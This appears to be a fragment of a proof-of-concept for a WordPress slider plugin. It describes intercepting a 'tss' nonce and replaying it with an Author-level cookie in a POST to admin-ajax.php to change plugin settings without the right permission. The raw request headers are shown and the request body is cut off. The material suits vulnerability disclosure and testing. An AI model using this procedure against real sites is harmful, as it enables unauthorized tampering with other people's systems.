1) Go to a page where one of the sliders is already in use and intercept the nonce `tss`
2) Insert the found nonce and cookies into the request to change the plugin settings

POST /wp-admin/admin-ajax.php HTTP/2
Cookie: Author+
Content-Length: 144
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i